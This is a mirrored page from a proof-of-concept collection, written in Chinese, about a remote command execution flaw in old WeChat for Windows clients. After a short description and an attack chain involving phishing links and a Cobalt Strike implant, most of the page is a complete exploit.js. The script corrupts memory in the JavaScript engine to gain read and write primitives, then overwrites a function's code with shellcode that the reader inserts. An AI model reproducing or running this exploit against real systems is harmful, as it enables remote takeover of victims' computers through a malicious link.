mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
197 lines
5.1 KiB
Markdown
197 lines
5.1 KiB
Markdown
|
|
# 微信客户端 远程命令执行漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
微信客户端存在远程命令执行漏洞。目前已经发现在野利用,受害者点击链接就会中招,微信Windows PC版进程webchatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生,攻击者可以直接获取目标机器权限。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://mp.weixin.qq.com/s/OfPNr-l_9kzl1MdE7DSHHQ
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
微信Windows版 <=3.2.1.141 截止2022年12月最新版为3.8.0.41
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
[安恒信息应急响应中心](https://mp.weixin.qq.com/s/OfPNr-l_9kzl1MdE7DSHHQ)分析的攻击链:
|
|||
|
|
|
|||
|
|
1. 攻击者利用微信(PC版)0day构造恶意的钓鱼链接,通过微信将钓鱼链接发送给目标员工。
|
|||
|
|
2. 当员工打开攻击者的钓鱼链接时触发该漏洞,从而导致目标员工PC被植入攻击者制作的cobalstrike木马,木马进程为:xxxsoft.exe,同时创建了名为dotnet_v4.3的系统服务。
|
|||
|
|
3. 随后,攻击者进一步在c:\\ProgramData\目录下放置TxPortMap.exe 扫描工具并利用该工具扫描目标单位内网。
|
|||
|
|
|
|||
|
|
exploit.js:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
ENABLE_LOG = true;
|
|||
|
|
IN_WORKER = true;
|
|||
|
|
|
|||
|
|
// run calc and hang in a loop
|
|||
|
|
var shellcode = [#shellcode];//shellcode替换成自己的 注意是x86的
|
|||
|
|
|
|||
|
|
function print(data) {
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
var not_optimised_out = 0;
|
|||
|
|
var target_function = (function (value) {
|
|||
|
|
if (value == 0xdecaf0) {
|
|||
|
|
not_optimised_out += 1;
|
|||
|
|
}
|
|||
|
|
not_optimised_out += 1;
|
|||
|
|
not_optimised_out |= 0xff;
|
|||
|
|
not_optimised_out *= 12;
|
|||
|
|
});
|
|||
|
|
|
|||
|
|
for (var i = 0; i < 0x10000; ++i) {
|
|||
|
|
target_function(i);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
|
|||
|
|
var g_array;
|
|||
|
|
var tDerivedNCount = 17 * 87481 - 8;
|
|||
|
|
var tDerivedNDepth = 19 * 19;
|
|||
|
|
|
|||
|
|
function cb(flag) {
|
|||
|
|
if (flag == true) {
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
g_array = new Array(0);
|
|||
|
|
g_array[0] = 0x1dbabe * 2;
|
|||
|
|
return 'c01db33f';
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
function gc() {
|
|||
|
|
for (var i = 0; i < 0x10000; ++i) {
|
|||
|
|
new String();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
function oobAccess() {
|
|||
|
|
var this_ = this;
|
|||
|
|
this.buffer = null;
|
|||
|
|
this.buffer_view = null;
|
|||
|
|
|
|||
|
|
this.page_buffer = null;
|
|||
|
|
this.page_view = null;
|
|||
|
|
|
|||
|
|
this.prevent_opt = [];
|
|||
|
|
|
|||
|
|
var kSlotOffset = 0x1f;
|
|||
|
|
var kBackingStoreOffset = 0xf;
|
|||
|
|
|
|||
|
|
class LeakArrayBuffer extends ArrayBuffer {
|
|||
|
|
constructor() {
|
|||
|
|
super(0x1000);
|
|||
|
|
this.slot = this;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.page_buffer = new LeakArrayBuffer();
|
|||
|
|
this.page_view = new DataView(this.page_buffer);
|
|||
|
|
|
|||
|
|
new RegExp({ toString: function () { return 'a' } });
|
|||
|
|
cb(true);
|
|||
|
|
|
|||
|
|
class DerivedBase extends RegExp {
|
|||
|
|
constructor() {
|
|||
|
|
// var array = null;
|
|||
|
|
super(
|
|||
|
|
// at this point, the 4-byte allocation for the JSRegExp `this` object
|
|||
|
|
// has just happened.
|
|||
|
|
{
|
|||
|
|
toString: cb
|
|||
|
|
}, 'g'
|
|||
|
|
// now the runtime JSRegExp constructor is called, corrupting the
|
|||
|
|
// JSArray.
|
|||
|
|
);
|
|||
|
|
|
|||
|
|
// this allocation will now directly follow the FixedArray allocation
|
|||
|
|
// made for `this.data`, which is where `array.elements` points to.
|
|||
|
|
this_.buffer = new ArrayBuffer(0x80);
|
|||
|
|
g_array[8] = this_.page_buffer;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// try{
|
|||
|
|
var derived_n = eval(`(function derived_n(i) {
|
|||
|
|
if (i == 0) {
|
|||
|
|
return DerivedBase;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
class DerivedN extends derived_n(i-1) {
|
|||
|
|
constructor() {
|
|||
|
|
super();
|
|||
|
|
return;
|
|||
|
|
${"this.a=0;".repeat(tDerivedNCount)}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return DerivedN;
|
|||
|
|
})`);
|
|||
|
|
|
|||
|
|
gc();
|
|||
|
|
|
|||
|
|
|
|||
|
|
new (derived_n(tDerivedNDepth))();
|
|||
|
|
|
|||
|
|
this.buffer_view = new DataView(this.buffer);
|
|||
|
|
this.leakPtr = function (obj) {
|
|||
|
|
this.page_buffer.slot = obj;
|
|||
|
|
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.setPtr = function (addr) {
|
|||
|
|
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.read32 = function (addr) {
|
|||
|
|
this.setPtr(addr);
|
|||
|
|
return this.page_view.getUint32(0, true, ...this.prevent_opt);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.write32 = function (addr, value) {
|
|||
|
|
this.setPtr(addr);
|
|||
|
|
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.write8 = function (addr, value) {
|
|||
|
|
this.setPtr(addr);
|
|||
|
|
this.page_view.setUint8(0, value, ...this.prevent_opt);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.setBytes = function (addr, content) {
|
|||
|
|
for (var i = 0; i < content.length; i++) {
|
|||
|
|
this.write8(addr + i, content[i]);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
return this;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
function trigger() {
|
|||
|
|
var oob = oobAccess();
|
|||
|
|
|
|||
|
|
var func_ptr = oob.leakPtr(target_function);
|
|||
|
|
print('[*] target_function at 0x' + func_ptr.toString(16));
|
|||
|
|
|
|||
|
|
var kCodeInsOffset = 0x1b;
|
|||
|
|
|
|||
|
|
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
|
|||
|
|
print('[*] code_addr at 0x' + code_addr.toString(16));
|
|||
|
|
|
|||
|
|
oob.setBytes(code_addr, shellcode);
|
|||
|
|
|
|||
|
|
target_function(0);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
try{
|
|||
|
|
print("start running");
|
|||
|
|
trigger();
|
|||
|
|
}catch(e){
|
|||
|
|
print(e);
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|